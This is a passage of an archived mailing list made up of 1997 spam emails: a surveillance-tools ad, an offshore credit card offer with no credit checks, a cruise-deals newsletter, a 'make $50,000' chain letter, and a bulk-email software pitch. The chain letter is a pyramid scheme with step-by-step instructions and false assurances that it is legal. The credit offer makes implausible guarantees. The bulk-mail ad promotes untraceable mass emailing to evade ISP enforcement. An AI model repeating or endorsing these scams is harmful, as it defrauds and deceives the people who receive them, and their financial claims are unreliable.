another, up-to-the-second news reports on any subject you choose,
and MORE...

   Order surveillance/snoop tools (if legal in your state)
   Send anonymous e-mail
   Research companies or business issues
   Research and discuss the issue of privacy and technology
   Locate military records from Viet Nam, Korea, WW II, etc...
   Search legal opinions, trial transcripts, etc...
   Find Wanted fugitives -- maybe your reclusive neighor!

You can know EVERYTHING about EVERYBODY with
my SNOOP COLLECTION!

ABSOLUTE SATISIFACTION GUARANTEED:
Your satisfaction is 100% guaranteed, just return the material
for a full refund within 30 days if you aren't dazed & amazed.

Copyright 1997 All Rights Reserved














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The.Card@uumx.smtp.psi.net
Date: Sun, 25 May 1997 22:43:53 -0700 (PDT)
To: node4-emailer@nixix.node4-emailer7.com
Subject: 5.95%!!  Believe it!!
Message-ID: <043112553965.UAA43477@ns3.guhert.net>
MIME-Version: 1.0
Content-Type: text/plain


$5000 MAJOR CREDIT CARD... GUARANTEED!!

BAD CREDIT or NO CREDIT?  IT DOESN'T MATTER!!!

EVERYONE QUALIFIES...UNSECURTED CREDIT CARD!!!

*  NO Credit Checks!
*  NO SSN Number Required!
*  NO Income Verification!
*  Bankruptcy  "OK"
*  Major Credit Card $5000 Limit, UNSECURED!!
*  5.95% Interest Rate Per Annum!
*  LINE OF CREDIT...$15,000 UNSECURED!!
*  Offshore For Complete Financial Privacy!
*  WORLDWIDE Acceptance At More Than 8 MILLION Locations!
*  INSTANT CASH ADVANCES At More Than 350,000 Banks & ATM's!!

                          ABSOLUTELY GUARANTEED!!!!!


For complete information AND application go to:

FAX ON DEMAND:  512-505-6832

*************************************************************
*IMPORTANT*  
In order for your application to processed properly, 
please use sponsor id# 000-101-9988-AA
*************************************************************


                          ABSOLUTELY GUARANTEED!!!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vacation Superstore/Cruise Holidays" <VACATION.SUPERSTORE/CRUISE.HOLIDAYS@mail.mia.bellsouth.net>
Date: Mon, 26 May 1997 03:46:37 -0700 (PDT)
To: "travelers" <vsn@bellsouth.net>
Subject: Travel Deal$
Message-ID: <199705260524.BAA24892@mail.mia.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


EVER SPEND MONEY ON TRAVEL TO FIND 
OUT THAT SOMEONE GOT A BETTER DEAL?

EVER HEAR ABOUT A TRAVEL SALE AFTER
IT EXPIRED OR WAS SOLD OUT?

DON'T MISS OUT! 

RECEIVE A FREE E-MAIL SUBSCRIPTION TO:

TRAVEL DEAL$ NEWSLETTER

WE HAVE INCLUDED A COPY OF OUR MOST RECENT 
ISSUE OF TRAVEL DEAL$ FOR YOU TO EXAMINE.

****************************************************************************************
MAILING LIST INSTRUCTIONS:

If you DO NOT wish to ever hear from us again, - then do nothing!
We will remove you from our mailing list immediately!

If you wish to continue receiving Travel Tips & Deal$ please:  
     Send an e-mail to: VSN@BELLSOUTH.COM
     In the Subject heading type:  SUBSCRIBE DEAL$
     In the body of the letter type: SUBSCRIBE DEAL$

*****************************************************************************************
Here's a sample of our newsletter..
*****************************************************************************************
Hi everyone, from all of us at Vacation Superstore Cruise Holidays!   
We have a lot of cruise deal$ this time in addition to our all-inclusive vacation deal$ and condos.

          *****  CRUISE DEAL$  *****

** Please note that all cruise prices are now quoted to INCLUDE PORT CHARGES
AND GOVERNMENTAL FEES/TAXES.  This should be the practice of all Travel 
Agents effective June 1, 1997.  We are just starting a little early! So please 
remember if you price shop that all prices in our newsletter include port charges 
AND governmental fees/taxes per person.**  

*** Some of our cruise specials are during what is know as Hurricane Season. 
Ask for Details on Cruise Cancellation Insurance that INCLUDES HURRICANE 
COVERAGE from as little as  $ 40.00 per person ! ***

1.  CARNIVAL CRUISE LINES has the following FANTASTIC fall deals. 
       
     A. Carnival Fascination  Category 4 Inside Cabin, Cruise only (airfare add'tl)
          7 Day Southern Caribbean from San Juan
 
            ONLY $499 Per Person for 2 in a cabin!
            ONLY $408 Per Person for 3 in a cabin!
            ONLY $362 Per Person for 4 in a cabin!                                    
        
            LEAVE ANY SATURDAY FROM SEPT. 6TH - OCT 4TH, 1997

     B. Carnival Sensation  Category 4 Inside Cabin, Cruise only (airfare add'tl)
          7 Day Eastern Caribbean from Miami 
          October 11th, 1997 Sailing (Veteran's Day)

             ONLY $569 Per Person for 2 in a cabin!
             ONLY $456 Per Person for 3 in a cabin!
             ONLY $399 Per Person for 4 in a cabin!
    
     C. Carnival Destiny  7 Day Eastern Caribbean from Miami, Cruise only
         August 31st, 1997 Sailing (Labor Day)

             Category 4 Inside    ONLY   $  799 per person
             Category 6 Outside  ONLY   $  889 per person
             Category 8 Balcony ONLY   $1,029 per person
             PRICES GUARANTEED ONLY THROUGH JUNE 6TH               


2.  NORWEGIAN CRUISE LINES has the following FANTASTIC fall deals. 
 
      A.  Norwegian Seaward  7 Day Exotic Southern Caribbean from San Juan
            August 31, 1997 Sailing (Labor Day), Inside Cabins

               ONLY  $ 575 per person for 2 in a cabin!
               ONLY  $ 449 per person for 3 in a cabin!
               ONLY  $ 388 per person for 4 in a cabin!

               AIRFARE ADD-ONS FOR THIS SAILING FROM:

                    $299 per person from Eastern USA!
                    $349 per person from Central USA!
                    $419 per person from Western USA!
                    (3rd & 4th person in a cabin price slightly higher)

     B. Norwegian Seaward 7 Day Exotic Southern Caribbean from San Juan
          November 23, 1997 Sailing (Thanksgiving), Inside Cabins

              ONLY  $ 599 per person for 2 in a cabin!
              ONLY  $ 499 per person for 3 in a cabin!
              ONLY  $ 449 per person for 4 in a cabin!

              AIRFARE ADD-ONS FOR THIS SAILING FROM:

                    $299 per person from Eastern USA!
                    $349 per person from Central USA!
                    $419 per person from Western USA!
                 
3. 5-Star CELEBRITY CRUISE LINES has the following FANTASTIC deals.  

     A.  Celebrity Century 7 day Eastern Caribbean from Ft. Lauderdale
            *** July 5th, 1997 ***  THIS ONE IS HOT!

                Category 9 Inside     $  999 per person 
                Category 4 Outside  $ 1199 per person
                Deposit Deadline is May 29th!
       
     B.  Celebrity Zenith  7 day Bermuda Cruise from New York
           September 20th, 1997

                Inside Cabins from     $ 775 per person
               Outside Cabins from  $ 899 per person

*************************************************************************************

    WINTER 1998 EARLY BOOKING DISCOUNTS !

G U A R A N T E E D   L O W E S T    P R I C E  -  if you place a refundable 
deposit with the Cruise Line and the price goes down (which we are professionally 
telling you is VERY unlikely), then your price goes down - you can't loose when 
you book early through Vacation Superstore!

Look at these Deal$, Prices are guaranteed without deposit until June 15th, unless 
otherwise noted. REMEMBER: PRICES INCLUDE PORT CHARGES & TAXES!

1.  Carnival Tropicale  11 Day  S. Caribbean & Panama Canal from San Juan    
     December 22, 1997 through January 2, 1998
        FROM ONLY $ 1,029 per person, cruise only

2.  Celebrity Horizon  10 Day from Ft. Lauderdale 
     December 26, 1997 through January 5, 1998
       FROM ONLY $ 1,659 per person, cruise only   Deposit Deadline is May 29th!

3.  Carnival Tropicale  10 Day Southern Caribbean from San Juan
     February 13 - 23, 1998  (President's Holiday Week)   HOT DEAL!
       FROM ONLY  $ 799 per person, cruise only  Deposit Deadline is May 29th!

4.  Celebrity Mercury from Ft. Lauderdale (Inaugural Season, Galaxy sister ship)
     February 15 - 22, 1998  7 day Western Caribbean  (President's Week)
       FROM ONLY $ 979 per person, cruise only   UNBELIEVABLE!

5.  Carnival Sensation 7 Day Eastern Caribbean from Miami
     March 7 - 14, 1998 
       FROM ONLY $ 669 per person, cruise only   UNBELEIVABLE!

6.  Carnival Imagination  7 Day Western Caribbean from Miami
     March 14 - 21, 1998
       FROM ONLY $ 729 per person, cruise only   UNBELIEVABLE!

7.  Celebrity Galaxy  7 Day Southern Caribbean from San Juan
     March 21 - 28, 1998
       FROM ONLY $ 875 per person, cruise only   UNBELIEVABLE!
       ASK ABOUT OUR OPTIONAL GOLF PACKAGE AND PLAY
       PLAY 5 OF THE BEST GOLF COURSES IN THE CARIBBEAN!

8.  Carnival Jubilee  7 Day Mexican Riviera from Los Angeles
     April 5 - 12, 1998 (Easter/Passover Vacation)
       FROM ONLY $ 629 per person, cruise only   UNBELIEVABLE!


     ***** ALL INCLUSIVE RESORTS  *****

1. COUPLES, JAMAICA
            7 DAYS, airfare additional
            Deluxe Mountain view Room
            FROM ONLY $1,995 PER COUPLE!
            MANY DATES AVAILABLE,  INCL. HOLIDAYS! 
            Deluxe Oceanview Room only $2,425 per couple.

2. ARUBA:

            TAMAJARIN ARUBA BEACH RESORT
            All Oceanfront Rooms!  Great Winter & Summer Season Rates!
            7 days from  ONLY $1,289 PER PERSON, 
            INCL. EAST COAST AIRFARE!
            
            AMERICANA ARUBA BEACH RESORT & CASINO
            Great Winter & Summer Season Rates!
            7 days from ONLY $1,649 PER PERSON, 
            INCL. EAST COAST AIRFARE!
             
3. BARBADOS

              ALMOND BEACH CLUB & VILLAGE
              Great Winter & Summer Season Rates!
              7 days from only $1,479 PER PERSON,
              INCL. EAST COAST AIRFARE!


    ***** CONDOS *****

1. Florida Condo's from $90.00 per night. Some as large as 1,500
    sq. feet! Call for details.

*********************************************************************
**************** 
Vacation Superstore Network, Cruise Holidays, and 
Travel Tips and Deal$ are registered Trademarks. We are registered in 
the State's of Ohio and Florida and are members of CLIA (Cruise Line 
International Association). 

All payments made to Vacation Superstore/Cruise Holidays are remitted 
immediately to the Vacation supplier for your protection. Ask for details.
                                                                       
Travel Tips and Deal$ can be seen locally on Florida's Treasure Coast 
on WTCN-TV, Channel 16, Stuart, Florida.

*************************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alpine Sys" <a_i_s@hotmail.com>
Date: Wed, 28 May 1997 01:56:42 -0700 (PDT)
To: curryt@po2.nawc-ad-indy.navy.mil
Subject: make $50,000
Message-ID: <199705280851.BAA08903@f35.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


I received this email a few weeks back and after some thought I decided it was 
worth a try.  Please take the time to read through this and then make up your 
own mind.  Thanks.

The following income opportunity is one you may be interested in taking a look 
at.  It can be started with VERY MINIMAL outlay and the income return is 
TREMENDOUS!
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial 
problems.  I owed my family, friends, and creditors over $35,000.  The economy 
was taking a toll on my business and I just couldn't seem to make ends meet.  I 
had to refinance and borrow against my home to support my family and struggling 
business.  I truly believe it was wrong for me to be in debt like this.  AT THAT 
MOMENT something significant happened in my life and I am writing to share my 
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here was a 
MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without 
putting me further in debt.  After I got a pencil and paper and figured it out, 
I would at least get my money back.  After determining that the program is LEGAL 
and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any money 
for printing to send out the program, only the cost to fulfill my orders.  I am 
telling you like it is, I hope it doesn't turn you off, but I promised myself 
that I would not "rip-off" anyone, no matter how much money it cost me!

A good program to help do this is Ready Aim Fire,
an email extracting and mass mail program
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read the 
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS 
FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU 
DO!"  My first step in making $50,000 in 20 to 90 days was done.  By January 
30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, 
"YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, 
SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 
96 more than I needed.  So I sat back and relaxed.  By March 19th, of my 
emailing of 10,000, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time to 
read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember,  it wont 
work  if you don't try it.  This program does work, but you must follow it 
EXACTLY!  Especially the rules of not trying to place your name in a different 
place.  It doesn't work, you'll lose out on a  lot  of  money!  REPORT  #2  
explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, 
and 100 or more orders for REPORT #2 and you will make  $50,000 or more in 20 to 
90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really is a 
great opportunity with little cost or risk to you.  If you choose to 
participate, follow the program and you will be on your way to financial 
security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                      Sincerely,
                                      Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a 
kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                      Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch in life.  
You get out of life what you put into it.'  Through trial and error and a 
somewhat slow frustrating start, I finally figured it out. The program works 
very well, I just had to find the right target group of people to email it to.  
So far this year, I have made over $63,000 using this program.  I know my dad 
would have been very proud of me."

                                      Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for ten 
years.  Then in 1979 my business began falling off.  I was doing the same things 
that were previously successful for me, but it wasn't working.  Finally, I 
figured it out.  It wasn't me, it was the economy.  Inflation and recession had 
replaced the stable economy that had been  with us since 1945.  I don't have to 
tell you what happened to the unemployment rate...because many of you know from 
first hand experience. There were more failures and bankruptcies than ever 
before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  
The traditional methods of making money will never allow you to "move up" or 
"get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and 
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works 
exceedingly well as it is now.  Remember to email a copy of this exciting 
program to everyone that you can think of.  One of the people you send this to 
may send out 50,000...and your name will be on every one of them!.  Remember 
though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little 
time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what 
could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any doubts 
you have will vanish when your first orders come in.  IT WORKS!

                                      Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a 5% 
response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an 
internet connection and email is FREE!!!  REPORT#3 will show you the best 
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford research and The 
Wall Street Journal have stated that between 50% and 65% of all goods and 
services will be sold throughout Multi-level Methods by the mid to late 1990's.  
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the 
US, 20% (100,000) made their fortune in the last several years in MLM.  
Moreover, statistics show 45 people become millionaires everyday through 
Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.  This is the GREATEST Multi-level Mail Order Marketing 
anywhere:

Step (1):   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by 
ordering the REPORT from each of the four 4 names listed on the next page.  For 
each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope  (BUSINESS SIZE 
#10) to the person listed for the SPECIFIC REPORT.  International orders should 
also include $1 extra for postage.  It is essential that you specify the NAME 
and NUMBER of the report requested to the person you are ordering from.  You 
will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them.  
DO NOT alter the names or sequence other than what the instructions say.  
IMPORTANT:  Always provide same-day service on all orders.

Step (2):   Replace  the  name  and  address  under  REPORT #1  with
yours,  moving the one that was there down to REPORT #2. Drop  the  name and 
address under REPORT #2 to REPORT #3, moving the one that was there to REPORT 
#4.  The name and address that was under REPORT #4 is dropped from the list and 
this party  is  no doubt on the way to the bank.  When doing   this,   make   
certain   you  type  the  names  and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT     POSITIONS!!!

Step (3):  Having made the required changes in the NAME list, save it
as a text (.txt) file in it's own directory to be used with whatever email 
program you like.  Again, REPORT #3 will tell you the best methods of bulk 
emailing and acquiring email lists.

Step (4):   Email a copy of the entire program (all of this is very
important) to everyone whose address you can get your hands on. Start with 
friends and relatives since you can encourage them to take  advantage of this  
fabulous money-making opportunity.  That's what I did.  And they love me now, 
more than ever.  Then, email to anyone and everyone!  Use your imagination!  You 
can get email addresses from companies on the internet who specialize in email 
mailing lists.  These are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
__________________________________________________________
                                      Report # 1
"$50,000 FOR YOU"

ORDER REPORT #1 FROM:

AIS
P.O. Box 15148
Boston, MA 02215  
________________________________________________________
REPORT #2
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Mattpam Inc.
P.O. Box 803297
Santa Clarita, CA 91380-3297
________________________________________________________
REPORT #3
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #3 FROM:

Homeward Bound
P.O. Box 8614
Essex, VT  05451
________________________________________________________
REPORT#4
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #4 FROM:

R&D Development
2704  Apt. B 45th
Lubbock, Tx.  79413
________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say "NO" 
than "YES", and this is the question that you must answer.  Will YOU ignore this 
amazing opportunity or will you take advantage of it? If you do nothing, you 
have indeed missed something and nothing will change.  Please re-read this 
material, this is a special opportunity. If you have any questions, please feel 
free to write to the sender of this information.  You will get a prompt and 
informative reply. 

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably received 
chain letters, asking you to send money, on faith, but getting NOTHING in 
return, NO product what-so-ever!  Not only are chain letters illegal, but the 
risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material, the 
PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The information 
contained in these REPORTS will not only help you in making your participation 
in this program more rewarding, but will be useful to you in any other business 
decisions you make in the years ahead. You are also buying the rights to reprint 
all of the REPORTS, which will be ordered from you by those to whom you mail 
this program.  The concise one and two page REPORTS you will be buying can 
easily be reproduced at a local copy center for a cost off about 3 cents a copy. 
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way that I 
could not get enough orders to at least get my money back.  BOY, was I ever 
surprised when I found my medium sized post office box crammed with orders!  I 
will make more money this year than any ten years of my life before."

                                      Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders 
start coming in.  When you receive a $5 order, you MUST send out the 
product/service to comply with US Postal and Lottery laws.  Title 18 Sections 
1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST BE EXCHANGED 
FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.    Name your new company. You can use your own name if you desire.

2.    Get a post office box (preferred).

3.    Edit the names and addresses on the program. You must remember,
      your name and address go next to REPORT #1 and the others all
      move down one, with the fourth one being bumped OFF the list.

4.    Obtain as many email addresses as possible to send until you
      receive the information on mailing list companies in REPORT #3.

5.    Decide on the number of programs you intend to send out.  The
      more you send, and the quicker you send them, the more money
      you will make.

6.    After mailing the programs, get ready to fill the orders.

7.    Copy the four 4 REPORTS so you are able to sent them out as
      soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.    Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must receive 
15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two 
weeks, email out more programs until you do.  Then a couple of weeks later you 
should receive at least 100 orders for REPORT #2, if you don't, send out more 
programs until you do.  Once you have received 100 or more orders for REPORT #2, 
(take a deep breath) you can sit back and  relax,  because  YOU  ARE  GOING TO  
MAKE  AT  LEAST  $50,000. Mathematically  it  is  a  proven  guarantee.   Of  
those  who  have participated in the program and reached the above 
GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, every time your 
name is moved down the list you are in front of a different REPORT, so you can 
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."




---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frank <zreqdasetcv@aol.com>
Date: Wed, 28 May 1997 05:33:20 -0700 (PDT)
Subject: Tired of Not Making Money on the Internet?
Message-ID: <01ee52016121c57NIH2WAAE@csi.com>
MIME-Version: 1.0
Content-Type: text/plain


ROCKET Your Way To Wealth In Cyberspace


E-mail has proven to generate more response than any other form of communication. 

A Web site alone, posting through newsgroups and registering with a few search engines while placing a few classifieds just won't work.  What good is a Web page no one knows is there? 

Using Mass e-mail provides great rewards for very little effort, time or money  IF  YOU KNOW what you're doing.  
If you don't know what you're doing, This is what will happen:

Your Internet provider will SHUT YOU DOWN..
Your 800 phone bill WILL SOAR with nuisance calls.
Your e-mail box will EXPLODE with mail bombs.

It's not worth it to learn the hard way.

Capitalize on the failures of your competitors to identify and continuously reach the TRUE online consumers.  Get everything you need to know and use to produce MEGA INCOME ONLINE.

Why is it anyone who has ever used Floodgate,E-mail Magnet, NetContact or Lightening Bolt for on-line marketing been so disappointed with the results?

If you use any one of these programs with an ISP that frowns on Mass e-mail you are guaranteed to lose your account in a very short time.  What good are bulk email programs if you can't find a provider that will allow you to mass mail? Every one of these programs extract the same addresses from the same sources.  

If everyone's hitting the same prospects over and over, is it any wonder they get upset? 

UNTIL NOW, the 1000's of user's you really want to target have thus far gone un-noticed.  These are the users that are not active posting in the newsgroups and/or online classifieds.

Send your own bulk email to thousands of people, FOR FREE!

The complete BULKMAN-PRO Mailer Package comes with everything you need to  change your life.  There is nothing further to purchase.

BULKMAN PRO is compatible with Windows 3.1, Windows 3.11, Windows NT, and Windows 95.  All you need is an Internet connection.  Most online services or internet providers charge nothing to send e-mail.  Send your letter to 10,000 people or 100,000 people - the cost is always the same.  Nothing!

While the misinformed continue using such programs as Pegasus for sending mass e-mails to the same old prospects,  you'll be using BULKMAN-PRO to e-mail 16,000 + per day that are new and never have received mass email before.  Do you really have the time or desire to try and figure this out for yourself?

Stripping addresses yourself using the old methods is a time consuming, boring affair. You may see others shouting promises of how easy their program is, BUT while your competitor is actually mailing out their sales letter  you're  EITHER still stripping or stuck in the "I'll get to it" syndrome! 

If you buy and use any bulk e-mail list you will also get flamed, and/or mail bombed.  Your account will still be terminated.  These list are filled with traps, sysops, education, government and non-profit organizations just waiting to shut you down or post "Net Abuse" articles about you. Just because virtually every list is taken from names in newsgroups that are totally inappropriate to your product or service.  So, what seems like a bargain for $30 or $50 for a so-called million e-mail addresses will turn out to be a nightmare before it's over.

Learn how to create all the email addresses you will ever need on the fly without having to buy them or extract them from newsgroups, forums, membership directories, whatever - 100% deliverable too!  Push a button and have 100,000 addresses in no time.

Learn to identify All new users to the on-line world and email them before they leave (AND before anyone else could uncover them).

Keep your email address totally UNTRACEABLE!!!!  That's RIGHT - you will be able to mass e-mail without getting your account terminated.

Using the X-15 Rocket Mailer with the Bulk E-Mailer Tools & Guide will change your life.  The X-15 Rocket Mailer will enable you to sell like you've never sold before.  No other program even comes close to the successs you will find using the X-15.  Move light years ahead of the competition using the Bulk E-Mailer Tools & Guide.

WHAT YOU WILL RECEIVE WITH BULKMAN PRO

Bulkman Pro offers the following applications for the serious marketer who
isn't interested in "bulk hype"; just a serious application for making
serious money:

  CSAG address generator for generating thousands of addresses in minutes of
brand new members. No need to go hunting them down and extracting them from
online sources. On the average I can generate 5,000 100% deliverable
addresses of brand new members that NO ONE has mailed to in 5 minutes a
evening. Don't e-mail asking me how that is possible, I won't share the nuts
& bolts of it. This is a closely guarded trade secret that only is disclosed
to purchasers (I won't even allow images of it).

  X-15 mail system. X-15 not only sends your mail very quickly and easily,
it also will post messages to any number of selected newsgroups. If that
isn't enough, it will even extract addresses from any number of selected
newsgroups right off your host news server just like NetContact. You can
select to exclude any type of addresses from being captured very easily.

X-15 also has built in "Email Cloaking" to allow you to use your own local
